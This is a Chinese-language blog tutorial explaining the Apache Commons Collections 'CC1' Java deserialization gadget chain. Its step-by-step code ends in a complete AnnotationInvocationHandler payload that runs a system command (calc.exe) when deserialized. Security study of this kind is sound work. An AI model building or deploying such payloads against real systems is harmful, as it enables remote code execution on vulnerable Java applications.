Java安全(七) CC链1

写在前面

Java Commons Collections的利用链也被称为cc链,是在学习反序列化漏洞必不可少的一个部分。希望能由简到繁来一起了解学习下它的利用。

前置知识(序列化/反序列化)

java序列化

核心也就是:

writeObject方法,即序列化类对象。

readObject方法,即反序列化类对象。

注意:

  • 反序列化类对象是不会调用该类构造方法
  • serialVersionUID(根据这个版本号来判断序列化对象的发送者和接收着是否有与该序列化/反序列化过程兼容的类)

反序列化漏洞主要原因在于readObject方法中,因为我们可以自定义该方法,在反序列化时会自动调用该方法,从而可能造成意想不到的效果。
更多基础知识:java序列化/反序列化 学习笔记

Transformer

Transformer是一个接口类,提供了一个对象转换方法transform

public interface Transformer {

    public Object transform(Object input);

}

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

ConstantTransformer

该类的关键代码如下:

package org.apache.commons.collections.functors;

import java.io.Serializable;

import org.apache.commons.collections.Transformer;

public class ConstantTransformer implements Transformer, Serializable {

    /** 省略 **/
    /** The closures to call in turn **/
    private final Object iConstant;
    /** 省略 **/

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
    /** 省略 **/

}

可以看出传入对象不会经过任何改变直接返回。

eg:

package cc1;

import org.apache.commons.collections.functors.ConstantTransformer;

public class ConstantTranTest {

    public static void main(String[] args) {
        Object              obj         = Runtime.class;
        ConstantTransformer transformer = new ConstantTransformer(obj);
        System.out.println(transformer.transform(null));
    }

}
//结果为class java.lang.Runtime

InvokerTransformer

InvokerTransformertransform方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。

该类的关键代码如下:

public class InvokerTransformer implements Transformer, Serializable {
    /** 要调用的方法名称 */
    private final String iMethodName;

    /** 反射参数类型数组 */
    private final Class[] iParamTypes;

    /** 反射参数值数组 */
    private final Object[] iArgs;

    // 省去多余的方法和变量

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }

        try {
              // 获取输入类的类对象
            Class cls = input.getClass();

              // 通过输入的方法名和方法参数,获取指定的反射方法对象
            Method method = cls.getMethod(iMethodName, iParamTypes);

              // 反射调用指定的方法并返回方法调用结果
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // 省去异常处理部分代码
        }
    }
}

eg:

package cc1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokeTranTest {

    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "calc.exe";

        // 构建transformer对象
        InvokerTransformer transformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{cmd}
        );

        // 传入Runtime实例,执行对象转换操作
        transformer.transform(Runtime.getRuntime());
    }

}

在这里插入图片描述

ChainedTransformer

真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的,因此我们需要学习如何通过ChainedTransformer来创建攻击链。其封装了Transformer的链式调用,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformertransform方法。

该类的关键代码如下:

public class ChainedTransformer implements Transformer, Serializable {

  /** The transformers to call in turn */
  private final Transformer[] iTransformers;

  // 省去多余的方法和变量

  public ChainedTransformer(Transformer[] transformers) {
      super();
      iTransformers = transformers;
  }

  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }//输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推,对于理解下面的例子还是十分有帮助的
      return object;
  }

}

eg:

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainTranTest {
    public static void main(String[] args) throws Exception {
        // 定义需要执行的本地系统命令
        String cmd = "calc.exe";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
            //得到Runtime.class并传入下个
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
            //得到getRuntime并传入下个
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
            //得到runtime
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };	//命令执行

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 执行对象转换操作
        Object transform = transformedChain.transform(null);

        System.out.println(transform);
    }
}

以下为上述过程的debug流程图:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

最终这里执行

在这里插入图片描述

TransformedMap

我们还需要思考剩下两个问题:

  1. 如何传入恶意的ChainedTransformer
  2. 如何调用transform方法执行本地命令;

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

关键代码如下:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时(调用TransformedMapsetValue/put/putAll中的任意方法),就会自动触发chainedtransformer

eg:

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Maptest {
    public static void main(String[] args) {
        String cmd = "calc.exe";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("key", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//         transformedMap.put("v1", "v2");// 执行put也会触发transform

        // 遍历Map元素,并调用setValue方法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;

            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
            entry.setValue("test");
        }

        System.out.println(transformedMap);
    }
}//即可成功弹计算器

反序列化RCE条件

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,是用来处理注解的一个类。它还重写了readObject方法,在readObject方法中间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

readObject方法:

在这里插入图片描述

上图中的第352行中的memberValuesAnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

eg:

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class annotest {
    public static void main(String[] args) {
        String cmd = "calc.exe";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
//注意低版本jdk才能实现调用
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值